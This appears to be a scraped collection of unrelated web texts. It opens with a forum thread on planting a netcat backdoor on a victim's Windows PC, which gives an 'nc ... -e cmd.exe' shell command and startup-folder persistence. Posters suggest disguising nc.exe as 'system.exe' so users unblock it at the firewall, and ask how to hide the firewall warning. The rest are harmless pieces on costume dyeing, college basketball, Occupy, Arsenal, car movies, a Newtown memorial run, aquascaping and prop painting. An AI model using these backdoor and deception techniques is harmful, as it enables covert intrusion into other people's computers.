If the test.bat ran:That would make it a reverse shell. As it is you have yourself a bind shell.Code:nc -nw 10 -d 192.168.1.2 5555 -e cmd.exe
Incidentally infinitely easier to work with reverse shells as you don't get the "Windows is Unprotected" rubbish from the Security Center (unless, of course, you disable the security center, which may or may not be noticed by the user).
Still not underestimating the power...
There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.
Yes sorry i mean bind shell i was fast when i write post.
Yes ofcourse drawback is that it may be noticed by user i have many new ideas with better things i just made this to see how it works and for some other not so expirienced users to start with that because it is easy and nice way to start work with backdoors.
I think that this backdoor will not work in Vista because as i remember (i must put Vista on VM) start up folder is hidden.
I think in Vista you must do something with registry.
Also we can use some sort of social engineering.
We can for example nc.exe rename it to system.exe all to some file similar to some files from windows system.
Also we can bat file call it not test but winlog.bat for example.
How this can help us: For example we do backdoor like i do my backdoor and on victim machine pop up message that firewall is turned off after next reboot.
Ofcourse victim turn it on again.Then reboot computer or turn it off. Next time when he boot his windows on the start it will say that windows firewall block program (nc.exe which we put in start up menu) but it will not say that it blocks nc.exe it will say that it block for example system.exe and i think any ordinary user will put unblock because he will think that it is something connecting with system and he will unblock it. And we have our bind shell in peace.
What you think about that Gitsnik?
Also can we somehow edit in reg with meterpreter that this icon when firewall is off dosent pop out?
Familiarise yourself with the command line "firewall" commands (no further hints than that). If you're installing your back door, you can just open up the port - assuming the windows firewall is the only one in use.
Still not underestimating the power...
There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.
Still not underestimating the power...
There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.
, i was one of them . But after i read Ed Skoudis Command Line Kung Fu every thing become clear for me .Most people don't even know they can control the networking services from the command line.
blog = Command Line Kung Fu
also there is Pdf version .
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I try exactly the same scenario in a Victim: virtual box Windows xp sp2 Pro edition under Vista Home Premium and I cannot get an active session unless I disable the windows XP firewall.
Is something that I am missing?
Is there any case that the firewall in XP Professional edition has different behavior from Home edition ?


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I wonder if this would be a good girth belt for ROTJ? It seems cheaper than all of the other places online that I've seen, and it looks to be about right. Here's the link for others interested.
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I wonder if this would be a good girth belt for ROTJ? It seems cheaper than all of the other places online that I've seen, and it looks to be about right. Here's the link for others interested.
It looks like the right style, but you need to get one made from 100% wool mohair, if you plan on dying it. The rayon/wool blend will not accept the fabric dye.
hmm.. got no idea what myn was, I painted it with spray cans, kind of absorbs the colours...
Being that its mostly Rayon, I don't believe it will dye. You'll need to spray paint it.
I bought one of these a while back. I'll try dying it today & let you all know
Don't bother. I got one, and the dye barely took. :angry
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Apparently the rayon /wool one I ordered is actually wool.
either that or I actually did it right
That baby sucked up dye faster than well... something that sucks up dye really well.
here's some pics after a 20 minute soak in
2 gals water
1 Bottle Rit Dark Brown
1/2 Bottle Rit Wine
2 cups table salt (as per directions for dying rayon)
It's obviously too brown (it's still wet too)
I'm using Rit dye remover right now on it.
keep you posted
Here it is after the Rit color remover (but before it gets dyed in the Rit Scarlet)
here we go.
10 minutes on the stove (all of this was on the stove)in
2 gals water
1 cup of table salt
and here's one with my girth hanging over the computer monitor showing a pic of the M.O.M. reference.
Yeah I know how Nerdy I am.
looks AWSOME
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Looks perfect!
That looks great! I believe I will try it myself... and if I screw up I'll just get another one ;)
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(well a few bucks anyway) ;)
Has anyone tried:
2 gallons of water
1/2 bottle Rit Dark Brown
1/2 bottle Rit Wine
1 bottle Rit Scarlet
2 cups salt
Just seems that a whole bottle of brown introduces TOO much brown into the mix, and the wine is too "purpley". Cutting back on them, and increasing the scarlet should up the red content while still retaining the others, just in lesser amounts (they're still present in the mix, just not so "in your face"). :thumbsup
Just thinking out loud, mostly. ;)
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By David Villavicencio
CORAL GABLES, Fla. - Leaving for college is tough for many athletes.
While the excitement of participating in college sports can be uplifting, many athletes struggle with leaving family and friends behind to further their athletic and academic careers.
Miami guard Suriya McGuire was a star at Roosevelt High in Minneapolis, Minn., but the 5-foot-11 guard decided she wanted to play collegiately for the Hurricanes.
Like many college athletes around the country, McGuire was leaving her family and friends behind to pursue a college degree and athletic career. But the sophomore was leaving behind her best friend and closest confidant, her mother, Anjali.
"It's always been me and my mother," Suriya said.
The two have been inseparable, moving from city to city because of Anjali's job as an on-air radio personality. When Suriya decided she was going to attend Miami, both McGuires wondered what it would be like to be apart. Anjali admitted that she worried about how different it would be without Suriya around.
"Suriya is everything to me," Anjali said. "My career is very important to me but my number one job has always been being her mom. I was always including her in anything that I did. She is always with me. People say we are connected at the hip. She is my best friend. She's not just my daughter."
The two did not have to worry for long, as Anjali found an opening at 95.7 The Beat in Tampa Bay. "Anjali the Queen B" moved to Florida to be closer to Suriya and she says the two of them could not be happier.
"I moved here because of her," Anjali said. "Part of me left, so I left Minneapolis to specifically be with her. Tampa was the closest I could get and it's such a blessing to be able to come see her. It was definitely worth moving and being closer to her."
The two speak daily on the phone and Anjali has come to visit Suriya at Miami "at least seven times." Anjali was in attendance for Sunday's game against North Carolina and was incredibly proud to see her daughter fulfilling her dream.
"It's such a blessing to see her succeed," Anjali said. "This is what she has worked so hard for. It's her passion. When I used to come home from work at two o'clock in the morning, she would ask if we could go outside and shoot. She would go to bed with the basketball. This is what she's always wanted and always worked for."
McGuire has provided key contributions to the Canes this season. Her tenacious defense has been instrumental in several Miami victories. Suriya has also hit a pair of game-winning shots, most recently in a win over Wake Forest on January 24.
"I think I've matured a lot," Suriya said. "I still have a lot of growing to do, but compared to last year, I've grown. I've been in a numerous situations where I could have either broke or progressed and I feel like I've been growing and progressing."
Suriya admits that she would like to be more confident on the court, but she struggles to maintain her confidence at a high level.
"It's always been that way for me," McGuire said. "It's not like I lost confidence when I got to college, I've been this way my whole life. I'm very passive. Everyone says 'you're right there, just shoot.' I've always been the player to pass first and not shoot. It's always been a confidence thing for me."
McGuire feels that a talk with her mother or some time with members of her Miami family help get her confidence back on track.
"I talk to my mother a lot," McGuire said. "The coaches try
to keep me in it and so do my teammates."
Two teammates who McGuire turns to frequently are senior captain Morgan Stroman and junior guard Krystal Saunders.
"I got attached to Stro before I even got to school," McGuire said. "She kept communicating with me and trying to get me to come here. We just clicked. People say that we should be sisters. We say the same things and finish each other's sentences."
Stroman felt a connection with McGuire from the minute the two met during McGuire's recruiting visit to Miami.
"When she first got here, we noticed that we had the same personality," Stroman said. "She wasn't even my recruit. I was just helping out, but we connected. Once she got here, we hung out more and developed that friendship and bond. That's like my sister on the team. I could tell her just about anything and be comfortable."
While McGuire and Stroman became close friends instantly, McGuire's relationship with Saunders took more time to develop.
"Me and Krystal got close with time," McGuire said. "She was my teammate and we were cool, but now, she is one of my best friends. It doesn't matter what it is, she will let you know what you need to know. That helps me. I like that she is honest with me."
Beyond being honest with McGuire, Saunders also helps keep a very emotional McGuire calm and focused.
"I'm a very emotional player," McGuire said. "When I don't make a shot, you're going to know. When I don't get a steal, you're going to know. When I do get it done, you're going to know, too. Krystal Saunders is the one that keeps me calm on the court and talks me through some things."
McGuire would like to control her emotions a bit better and improve on her jump shot. But the talented guard believes she can make the biggest contribution to Miami basketball by maturing as a player and a person.
"I hope that I keep progressing," McGuire said. "I feel like every year I have grown and I want to continue to mature. I feel like I can do that and I want to continue to see myself progress and the team progress."
Anjali is confident that her daughter will continue to improve on and off the court and accomplish her goals.
"She is my greatest joy, my greatest accomplishment and my greatest legacy," McGuire said. "I feel like the best is yet to come."


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Occupy Draws Strength From the Powerless
Posted on Feb 13, 2012
By Chris Hedges
There is a recipe for breaking popular movements. I watched it play out over five years in the war in El Salvador. I now see these familiar patterns in the assault against the Occupy movement. It goes like this. Physically eradicate the insurgents' logistical base of operations to disrupt communication and organization. Dry up financial and material support. Create rival organizations—the group Stand for Oakland seems to be one of these attempts—to discredit and purge the rebel leadership. Infiltrate the movement to foster internal divisions and rivalries, a tactic carried out consciously, or perhaps unconsciously, by an anonymous West Coast group known as OLAASM—Occupy Los Angeles Anti Social Media. Provoke the movement—or front groups acting in the name of the movement—to carry out actions such as vandalism and physical confrontations with the police that alienate the wider populace from the insurgency. Invent atrocities and repugnant acts supposedly carried out by the movement and plant these stories in the media. Finally, offer up a political alternative. In the war in El Salvador it was Jose Napoleon Duarte. For the Occupy movement it is someone like Van Jones. And use this "reformist" to co-opt the language of the movement and promise to promote the movement's core aims through the electoral process.
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The security and surveillance state has a vast arsenal and array of tools at its disposal. It operates in secret. It dissembles and lies. It hides behind phony organizations and individuals who use false histories and false names. It has millions of dollars to spend, the capacity to deny not only its activities but also its existence. Its physical assets honeycomb the country. It can wiretap, eavesdrop and monitor every form of communication. It can hire informants, send in clandestine agents, recruit members within the movement by offering legal immunity, churn out a steady stream of divisive propaganda and amass huge databases and clandestine operations centers. And it is authorized to use deadly force.
How do we fight back? We do not have the tools or the wealth of the state. We cannot beat it at its own game. We cannot ferret out infiltrators. The legal system is almost always on the state's side. If we attempt to replicate the elaborate security apparatus of our oppressors, even on a small scale, we will unleash widespread paranoia and fracture the movement. If we retreat into anonymity, hiding behind masks, then we provide an opening for agents provocateurs who deny their identities while disrupting the movement. If we fight pitched battles in the streets we give authorities an excuse to fire their weapons.
All we have, as Vaclav Havel writes, is our own powerlessness. And that powerlessness is our strength. The survival of the movement depends on embracing this powerlessness. It depends on two of our most important assets—utter and complete transparency and a rigid adherence to nonviolence, including respect for private property. This permits us, as Havel puts it in his 1978 essay "The Power of the Powerless," to live in truth. And by living in truth we expose a corrupt corporate state that perpetrates lies and lives in deceit.
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"Imagine," Havel writes, "that one day something in our greengrocer snaps and he stops putting up the slogans merely to ingratiate himself. He stops voting in elections he knows are a farce. He begins to say what he really thinks at political meetings. And he even finds the strength in himself to express solidarity with those whom his conscience commands him to support. In this revolt the greengrocer steps out of living within the lie. He rejects the ritual and breaks the rules of the game. He discovers once more his suppressed identity and dignity. He gives his freedom a concrete significance. His revolt is an attempt to live within the truth."
This attempt to "live within the truth" brings with it ostracism and retribution. Punishment is imposed in bankrupt systems because of the necessity for compliance, not out of any real conviction. And the real crime committed is not the crime of speaking out or defying the rules, but the crime of exposing the charade.
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Benefits to Arsenal and its Supporters
An increase in stadium capacity will enable the many thousands of supporters who are unable to attend matches to do so in the future.
An increase in matchday capacity from 38,000 to 60,000 will generate substantial additional income, in order to sustain and develop the Club's football success.
Playing in a world class stadium will affirm and further support Arsenal as one of the World's leading Clubs, both on and off the field.
An improved stadium, providing a range of additional facilities will make spectators' visits more pleasurable and encourage wider involvement, particularly amongst women and families.
Emirates Stadium will have improved access for disabled supporters and enhanced sight lines for all spectators.
Up to 250 seats within the stadium are designed for use by people with disabilities, who will be able to utilise up to 100 mobility impaired parking spaces. This exceeds the recommended minimum seating provision set out in the Government's Guide to Safety at Sports Grounds and is more than double the amount currently provided at Highbury.
Additional trains will be provided on both the Piccadilly and Victoria lines on match days. There is plenty of line capacity and rolling stock available to enable this to happen.
Improved stewarding arrangements will be put in place to enable the stations to be used more efficiently and safely.
The potential to use the pitch area for up to six non-football events per year, thereby providing a wider range of activities, and create additional revenue streams for the Club.
Emirates Stadium will be 'energy-efficient', which is less costly to maintain.
Benefits to Community
A world class sports facility, which will attract worldwide visitors (and increased spending power) to the area, and raise its profile in the eyes of the potential investors of many different types.
2,500 new homes, of which at least 40% will be "affordable housing", as well as substantial key worker housing.
All homes will be constructed to BREEAM Eco Homes standards, the internationally recognised standard for the building industry.
The creation of 2,600 new jobs.
New commercial space and housing at Lough Road, a site which has lain derelict for over 20 years.
Four new community health facilities at Queensland Road, Lough Road, Drayton Park and Arsenal Stadium - which will create jobs and will greatly improve healthcare in the Holloway/Highbury area.
Removal of poorly planned, economically and environmentally inefficient industrial/waste management buildings, and their replacement with new buildings built to modern standards.
High quality architecture, adding to the cultural richness of the area.
Public transport to Arsenal Stadium is already the best in the Premier League with almost 70% of fans arriving by means other than private cars. However, further measures to improve transport to Emirates Stadium include managing the existing capacity of the underground station better than at present.
The proposed improvements to Holloway Road underground station, Drayton Park Station and Finsbury Park station, will make public transport access and interchange more convenient for local people.
The Club has worked very closely with all the transport authorities and is delighted that they agree that there is sufficient public transport capacity through the existing stations to accommodate the increased demands created by a 60,000 seat stadium.
Fine-tuning of pedestrian facilities to provide consistently high quality routes into and through each of the three sites.
A comprehensive Environmental Traffic Management system around all three areas.
A large underground service area at Ashburton Grove to accommodate essential parking, refuse collection and goods delivery facilities, and outside broadcast units.
Relocation of the North London Waste Authority's Waste Transfer Station and also Islington Council's central vehicle depots and associated offices and workshops to a new purpose built complex at Lough Road.
Surface finishes, street furniture, landscaping, lighting and signage will reflect the needs of all disabled people
Reducing construction waste by more than 50% over the standard practice in stadium construction.
Reusing and recycling of demolition waste to significantly reduce concrete and ferrous waste landfill.
Cycle parking facilities around and within each of the three redevelopment sites.Copyright 2017 The Arsenal Football Club plc. Permission to use quotations from this article is granted subject to appropriate credit being given to www.arsenal.com as the source


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Oh, it sounds dramatic...but I'll agree with it. When editorials were bemoaning the clunker crusher programs, I was pointing out how many cars got killed in movies--sometimes with the professional advice of some of the car mag columnists.why couldn't they sell Hollywood the idea that a CrownVic on 22"s was a custom car worth destroying on the big screen? Maybe it was because they saw their rich friends driving some restored Camaro, but funny thing is...Hollywood can convince people something is cool. T-shirt sales dropped when Gable took his shirt off in the black and white days and wasn't wearing an undershirt.
Just because you can't do it...doesn't mean its impossible
are you sure...i would think that it spurs interest in more cars... makes older cars cool... i have changed my mind about the movie the fast and the furious... as it took the generation who was impressed with that movie ... in a import direction... leaving more iron for us older guys.. it sure changed the mind about 59 cads.. once .. when you could only get less than the scrap price for them.. now they are the top of the domestic classics.. ( not domestic muscle cars..) how many general lee chargers have you seen... i saw a 6 one day... oh .. i was on the warner brothers back lot making a delivery... at that point daisy duke walked in with her dogs. in full costume... what there was of it.. a memory still burned into the back of my brain... sorry prints are not available.. use your imagination... and.. hollywood does crash crown vics all the time... used police units are filling their parking lots and ready for their last dance with a bad guy car.. one more thing... you might really enjoy a 2 hour show on a similar subject... if you can put your communicator down.. oops.. cell phone...there are places on the web to watch it.. or on the history channel sometimes.How William Shatner Changed the World.google it..
you bring up good points, but I remember the 80's...prices on musclecars rose w/out the movies helping, I believe. yuppies had money, they wanted the cars. it led to some dogs getting restored that would have been parts cars, and may have spurred the repop industry for parts, too, rather than NOS search missions.i don't think they needed the movies to make muscle famous, and the F&F series has crushed their bag limit of muscle (yenko camaro, GNX, etc). just watched deathproof last night, and thought they just killed a nova in that movie. nope..another charger, and a white challenger to boot. *sigh*you're right, they do kill the cop cars in hollywood, remember the 1977 4 door (fury?)mopars? last of the 440 powered cars, TV and Hollywood loved smashing those cars...catherine bach? met her in person...skinny and peppered with freckles. but the camera adds the pounds on to make 'em look healthy. i don't like 'em bony, i like curves like a 68-72 stingray, so you can keep her..tho she still looked good at the last duke boy reunion, saw the pics in the mopar mags good for her.
Just because you can't do it...doesn't mean its impossible
I love anything automotive wise on the TV & Movies, I watch it all, so I guess I'm fueling the destruction of some of my favorite old cars, but ever time I turn around someone is destroying another 68-70 Charger in some movie or TV show. As you guys know I'm a Mopar guy 1st, so it bugs me the most when it's a 60's-early 70's era Mopar is destroyed, but even when they are destroying GM & Ford cars too it bugs me, I still watch but it bugs me... Like the remake of Vanishing Point they destroyed another 70 R/T Challenger & 68 R/T Charger among all of the other cars like the Camaro cop car & a bunch of others, Chargers were the most famous it seems Dirty Larry Crazy Mary, Dukes of Hazard series was the worst & the new Movie of late, Fast & the Furious, Death Cars I think it was called with Kurt Russel, a Challenger & Charger again, original Vanishing Point & the remake, The new Nicolos Cage Movie I don't recall the name off hand, original Gone in 60 Seconds & the remake, they wrecked all makes. Why not destroy something they made millions of instead of my beloved Mopars or the other rare muscle cars... JMO... At least now they have replica bodies they can destroy instead of the originals. Also I would take Daisey Duke now or then Barbra or Jessica, any day...LOL... Yeh, Like I would have any chance. 3836bbl/Budnicks
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wait.. i just remembered how to share what's burned into the back of my brain...i hope this does not get me kicked off the forums...
Wayne you should get a medal for posting that!! she is a great memory from the past. I saved it to my pitchers right away. Cheesy show but it had it's attributes as seen above & the cars of coarse. 3836bbl/Budnicks
"Fill Your Library Before Your Fill Your Garage" 3836bbl alias Budnicks
it sure changed the mind about 59 cads.. once .. when you could only get less than the scrap price for them.. now they are the top of the domestic classics.. ( not domestic muscle cars..) how many general lee chargers have you seen... i saw a 6 one day... oh .. i was on the warner brothers back lot making a delivery... at that point daisy duke walked in with her dogs. in full costume... what there was of it.. a memory still burned into the back of my brain... sorry prints are not available.. use your imagination
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Is Hollywood killing classics RealyHollywood makes cars classics they recycle these cars until they fall apartDo you know why they picked chargers for dukes because they were cheap and nobody wanted themYenko Camaros am I missing something I did not know they made 6 cyl autosWhen we did dukes we killed 10 to 1 cop cars Plymouth satellites 4 doors real popular with the muscle car crowdYou name a car and they have made a movie with that car in itAll I can say is you can't have car movies without CARS
We can list a thousand movies they killed our classics. It goes back to the Laurel and Hardy movies. Those cars may still be here today.The Cadillacs they destroyed watch the Movie Called Tin Men. Danny Devito, Richard Dreyfus. Blues brothers how many cruiser's did the destroy. I know the cars aren't classics but the parts may fit other classics. The movie Convoy.Thats my 2 cents and I'm sick of what Hollywood does. Bob
+1 3836BBL.I agree Wayne should get a medal. The Ford forum's have nice pics on their covers. Just like back in the day. How many older Gear Heads remember their Dad taking them to get a haircut and there was a pin-up calendar. Or how about going to the repair shop with your Dad of course and there was a pin-up usually calendars. I wish I had those calendars I hear there collectors items.Ahhh! the good ole days I'm glad I was there.For most of it... Bob


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Posted by James McQuivey on the CMOs Blog on June 3, 2013
I recently heard my all-time favorite excuse for why you can't disrupt yourself. It was in a session with 40 senior IT leaders of a Fortune 500 company including the CIO. Somebody brought up Uber and Airbnb, and most in the room nodded in agreement that a big company could learn a thing or two from these disruptors. That's when someone dropped my new favorite excuse: "But we can't imitate Uber and Airbnb because what they're doing is illegal."
Sure, it would be nice to just avoid taking the fast and bumpy road of disruption in favor of staying in the smooth parking lot of denial. But that's not really an option because the lessons of Uber, Airbnb, and other disruptors apply to everyone in every industry.
I don't mean to sidestep the legal question, but I do mean to point out that it's hardly the issue here. Uber and Airbnb are coming under fire because they're using cheap technology and existing resources to make their customer's lives dramatically better, one positive experience at a time. That's the real issue here, and it's the one companies of any size should focus on.


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Miles to remember
Runners support Newtown victims in Gilford running event
By DAN SEUFERT
Union Leader Correspondent | April 14. 2013 8:23PM
Runners pass mile-marker signs with the names of children killed in the Newtown, Conn. school shootings. (DAN SEUFERT PHOTO)
This wasn't a race, though. Each of the white signs marking each mile of the course had the name of one of the 26 victims killed at Sandy Hook Elementary School in Newtown, Conn., four months ago, on Dec. 14, 2012.
The runners were mostly teachers, support staff and students from 78 schools in New Hampshire and the region. They came to show support and raise money for the families of the victims, as each was asked to donate one dollar for each mile they raced, and each was asked to run 26 miles.
Event organizers said the event raised $22,000, which will go to the 26.4.26 Foundation, which provides funding for the families of victims, memorials for teacher heroes and is dedicated to increasing safety in schools across the country through school programs that promote positive social interaction among youth.
But many runners came for personal reasons.
"Because we can't be there for them (in Newtown)," said Holly Harris, the school resource police officer for the Gilford School District. "A lot of us felt like we had to do something."
For educators, it was "a real community event," said Pam Murphy, a teacher from the Barrington School District, who came with fellow Barrington teachers Cathy Nield and Lisa Stevens as volunteers.
"It affected all of us terribly when it happened," Murphy said.
It was a release for Rich Bergskaug, a special education teacher at Souhegan High School in Amherst.
"We wanted to do something for those people," he said. "It's a small price to pay compared to what they've been through."
At the finish line in Gilford Village, a large American flag hung high from a crane, and runners were greeted by loud cheers from their peers when they arrived.
The event was a great success, said Harris, who was an organizer.
"It all came together wonderfully," she said.
The tragedy was still fresh on many minds, though.
"I care for my kids, and when I say my kids, I mean the students (in Gilford schools)," Harris said. "I can't imagine that happening to my kids."
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Need suggestions on my first aquascape
This is going to be my first real aquascaping attempt. My co-worker and I are trying to put this tank together. We saw a picture of a tank with a bonzi looking tree and want to try and create a similar tank.
Luckily, I had a piece of driftwood and found another that should work for the tree, but I have a few challenges that I thought I'd seek advice on.
1. How should I connect the two pieces of driftwood? If you look closely in the picture, a small piece on the top is different color and is a separate piece. I read that silicone might do the trick, but I wanted to see if anyone else has any suggestions based on their experience.
2. I wont have co2, but will be able to use excel. Does anyone know of a carpeting plant that I can use that is low to medium light? I forgot to check the specs on the light that came with the tank, but I'm guessing it's low-med light.
3. I ordered some flame moss to use put onto the driftwood. Do I just attach it like any other moss? I just want to make sure that the moss will grow upwards.
4. Any idea how I can secure the driftwood into one position? In the picture its just burred deep into the substrate and kind of resting against the rock, but it could easily get knocked over.
5. Any suggestions on the positioning of the rocks? I can't get the flow quite right =\
I use stainless steel screws to fasten wood bits together. If you sink the head or place away from view the shine shouldn't bother you. I just use a bit of acrylic sheet on the bottom and bury that under the substrate, works fine. Slate or tile would be heavier and might hold it better.
Since your rocks are close to the same size you might consider studying up on iwagumi theory and place a couple rocks next to one another so they appear to be a single stone. Then the next largest would be placed to balance the largest and the last would balance the composition. The wood needs to be considered as well, no idea precisely just how it fits in but this article might help. http://www.thegreenmachineonline.com...s-introduction
Thanks for your input Kathyy! I'm going to look for a screw this weekend. Hopefully there will be ones small enough Once I add moss onto the DW, it should cover the screw. You brought up a good point that all my rocks are large, which could be why I can't seem to find a way to make the layout flow. I'll find some smaller ones this weekend to test out. Sadly, I was already trying to go with an iwagumi layout. I'll keep messing around with the hardscape to find a layout with a good flow.
Any chance someone knows about attaching flame moss? Can I just tie it down like any other moss?
Need suggestions on my first aquascape
How about this layout? Flame moss still hasn't come in 😞
I'm thinking about reconnecting the middle piece of the driftwood to make it more level.
Anyone have suggestions on the rocks?
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Thanks mhlayne, I appreciate the compliment.
Thanks mhlayne, I appreciate the compliment.
First off Happy Father's Day to any of you dads out there. Spent all day with my dad and the rest of the family and he had a great day.
Once I got back home I decided to start on the dent and left side damage. So far I have reefer gray and some of the silver down. As well as a bit of the base gray. Still a good ways to go but as of now I am happy with how the dome is turning out.
Very nice progress! Keep it up!
Looks great! you also used the Deelucks decals?
Managed to get a good bit done the last couple of days. Finished putting the damage on the cheek areas and got the red (Humbrol Red 73) on the mandibles and other red areas. No photos but I've also airbrushed both ears in their base colors of Sand 93 for the right and a 1:1 ratio of Humbrol's Green 78 and Green 159 for the left ear. Tomorrow if I don't start on the damage to the red areas I will work on the ears. It is finally coming together and starting to look more and more like Fett's helm.
OK, well in a previous post I mentioned how my rear panels were too blue and I needed to rework them. Well, I couldn't stand it any longer so today I masked off the damage and redid the paint mix. I did a straight up 1:1 mix of Humbrol green 76 and blue 96 as Terminal Fettler had on his color list. Much better and much more accurate as a result. I also did a small amount of work on the right ear but no photos yet of that progress.
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Have been working on the mandibles and ears the last couple of days. So far I almost have all the silver damage traced and then painted all the way around. I still have the right side back to do and then I'll start on the reefer gray damage areas. The right ear is about 90% done and just have it mocked up for photos will still need to do some work once I start on the rangefinder attachment (one of the last steps I'll do) I wasn't happy with the outcome of the left ear so I stripped it yesterday and reapplied the green. Today I marked off the silver damage and airbrushed on the white decal. I'll work on it more tomorrow as well.
Keep it up man, it's looking stellar!
That is looking great.....
Hey thanks for the wonderful compliments. I am really enjoying this paint up using the topical method with some airbrushing. I'm learning a lot of new techniques and what works the best on different applications.
Looks amazing!!!
Looking great! I really need to get back on my bucket and take it to the finish line.
Some amazing work Ghostrider!
Thanks for the compliments yet again everyone.
Lots of progress yesterday and today. The mandibles and all red areas now have the silver, reefer gray and maroon colors painted on. Left ear was also redone with a few details still to go. Overall it's getting much closer to completion. Tomorrow or Monday I'll pass the steel wool over it after letting it sit overnight to cure some then I'll start with the final details on the mandibles and back red areas. I'll also start adding the remaining areas I have skipped over for now, such as weathering around the dent.
Not a big update but the painting is complete on the bucket now. I sealed it first with testors metalizer clear then went over that with the flat. Last few days I have been working on the inside of the helmet. Putting in the visor attachments and a suspension system. I think I've just about got those two where I want them. Tomorrow I'll try and do a little touch up if needed in these two areas and drill the hole for the Bordens and get that put in place. The rangefinder will be the next to get some attention but I'm waiting on a servo shaft to come in before I start on that. All in all it's coming together nicely. I took a couple of photos of the mannequin with the helm on because I was anxious to see how it all came together so far. The photos didn't come out great but I'll get better ones later on.
Love it!
Holy snap man that is beautiful
Wow, man! Looks fantastic!
thanks ya'll, it's always nice to hear great compliments. Of course without the dented helmet community I doubt I would be anywhere near this. So cheers to all.


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'"We proved we're a pretty resilient bunch," Sabres head coach Lindy Ruff said. "We had some opportunities that they blocked and there was a little frustration there. But my mindset was to go down to three [lines] in the third period, and we moved Roy up to Pominville's line and it worked."'
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By Rob Kelly
Arsène Wenger says that the Club is active in the transfer market - but he is only willing to sign a 'special' player before the deadline.
The transfer window shuts at 11pm (UK time) on Friday, and Arsenal have been linked with a host of players in recent weeks.
While Wenger is relaxed about the possibility of making some new additions, he admits there is likely to be some movement.
"We have enough [players], that is for sure, but you always want to improve your squad and if we find a top, top, top player we will do it," he said.
"We are working very, very hard. We have resources available so if it is not happening now it will happen in December.
"We are active but we do not just want to bring average players in. If we find a special player who can find us a plus we will do it, if not we will not do it.
"But we believe strongly that we have the quality in our squad to do very well. We have already bought Cazorla, Podolski and Giroud of course. So you cannot say we have not bought, but when you listen to people you always have to buy more.
"What is important as well is to believe in the players you have and we will get our long-term injuries back."
A number of Arsenal players have been linked with moves away from the Club, but Wenger says this will not have a direct impact on potential new signings.
"That is not necessarily linked," he said. "For example, we might have one or two players going out without [the squad] necessarily being compensated because they haven't played games for us. It depends on the number of games they have played for us.
"There is a chance that [Nicklas Bendtner] is leaving, where is not decided at the moment. No [we have not reached any agreement]. We are open to anything."
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O'Reilly defended old lies exposed by Jack Mathews and MMFA, told new ones
On July 6, eight days after FOX News Channel host and radio host Bill O'Reilly dismissed [1] Media Matters for America's proof of his propensity for false statements [2] as "a bunch of baloney," O'Reilly wrote a letter [3] to the New York Daily News in response to a June 28 column [4] by the paper's movie critic Jack Mathews, in which Mathews contended that O'Reilly is an "ideological thug who play[s] loose with the facts."
After he derided Media Matters for America as a "far-left bomb-thrower website" and accused Mathews of having "misled Daily News readers," O'Reilly defended his lies -- previously documented by Media Matters for America on April 28 [5], May 6 [6], and June 3 [7] -- though in one case he quietly substituted a more modest claim in place of his original assertion.
From O'Reilly's July 6 letter to the New York Daily News:
First, Mathews writes that an "O'Reilly Factor"-led boycott of France did no economic damage to that country. According to U.S. government figures, in the months following the boycott call, France did $138 million less business with the U.S.A. than it did the previous year.
While O'Reilly appears to be defending his April 27 claim [5] that "[T]hey've lost billions of dollars in France according to 'The Paris Business Review,'" he is actually replacing it with a much weaker claim. Media Matters for America and Mathews questioned the existence of 'The Paris Business Review'; O'Reilly did not answer that charge. Instead, he cited unnamed "U.S. government figures" in support of a much more modest dollar amount of $138 million -- a far cry from the original "billions."
That figure is also incorrect. Although O'Reilly does not specify what "U.S. government figures" he is citing and which particular "months following the boycott call" he is referring to, it hardly matters. The U.S. Census Bureau's foreign trade statistics [8] belie O'Reilly's new claim as thoroughly as they did his original one. O'Reilly called for his boycott sometime following March 17, 2003. While it is true that imports from France declined slightly [9] in March 2003 and April 2003 -- $288 million, or about 6 percent -- compared with the same two months in 2002 [10], it is meaningless to draw conclusions from only two months of data. An even larger two-month year-on-year decline occurred, for example, in January 2002 and February 2002, when imports declined by $401 million [10], or 8 percent, compared with the same two months [11] in 2001. But O'Reilly was not calling for a boycott at that time.
Data for a longer time span makes it clear that O'Reilly's call for a boycott had no measurable effect. Though imports for March 2003 and April 2003 declined by $288 million, imports for May 2003 and June 2003 were large enough to erase that year-on-year deficit. From March 2003 through June 2003 -- the first four months after O'Reilly's call for a boycott -- total U.S. imports from France outpaced the same four months in 2002 by $55 million; by the end of 2003, U.S. imports for March through December totaled $24.6 billion compared with $23.8 billion for the same months in 2002. Moreover, O'Reilly considers his boycott is ongoing -- he began selling "Boycott France" bumper stickers [12] on his website on June 9 and reported on June 24 that they were "flying out of here." But imports from France during the first four months of 2004 (April is the most recent month for which data is available) have increased by $553 million over the same four months in 2003 and by $367 million over 2002.
O'Reilly's July 6 New York Daily News letter continued:
Second, Mathews says I "misstated" Al Gore's television project as "liberal stuff"; I guess TIME magazine "misstated" as well.
O'Reilly claimed [13] that, on May 4, Gore "announced that he is starting up a new cable channel exclusively devoted to liberal stuff." As Media Matters for America noted [6] then, contrary to O'Reilly's assertion, Gore explicitly denied that the channel would advance a liberal point of view. Also, TIME did not quote Gore saying anything about liberal programming. Rather, in a 400-word sketch [14] of media mogul Rupert Murdoch in TIME's April 26 "Builders & Titans" special issue -- published before Gore and his partners had announced their acquisition of cable channel Newsworld International from Vivendi Universal SA -- freelance author and journalist John Heilemann wrote [15] that he wondered "if Al Gore's liberal cable channel will ever get off the ground." Heilemann evidently believed Gore was planning a liberal channel, though Gore had not announced such plans. In fact, on November 26, 2003, TIME media and TV critic James Poniewozik reported: "With deep-pocketed backers, Gore has looked into buying cable channel Newsworld International. Despite initial reports, Gore's camp says he and his backers intend to make the channel not a liberal mouthpiece but a 'hip' news channel for young viewers -- CNN meets MTV."
O'Reilly also wrote in his July 6 letter:
Third, Mathews parrots that I misquoted George Soros' statement about his dying father. Transcripts prove I quoted accurately from a 1995 New Yorker article.
This is simply a lie. In our original item [16] on June 3, Media Matters for America quoted directly from the transcript to demonstrate how O'Reilly had doctored the 1995 Soros quotation.


text: Turned the kids loose on some old dekes over the weekend. My 6yr old girl and my buddies 7yr old girl had a ball helping dad get ready for season. Reckon these will hunt OK? I think they done a heck-of-a job. This is only about 15 of the 45 they painted up. Can't wait to try-em out Saturday!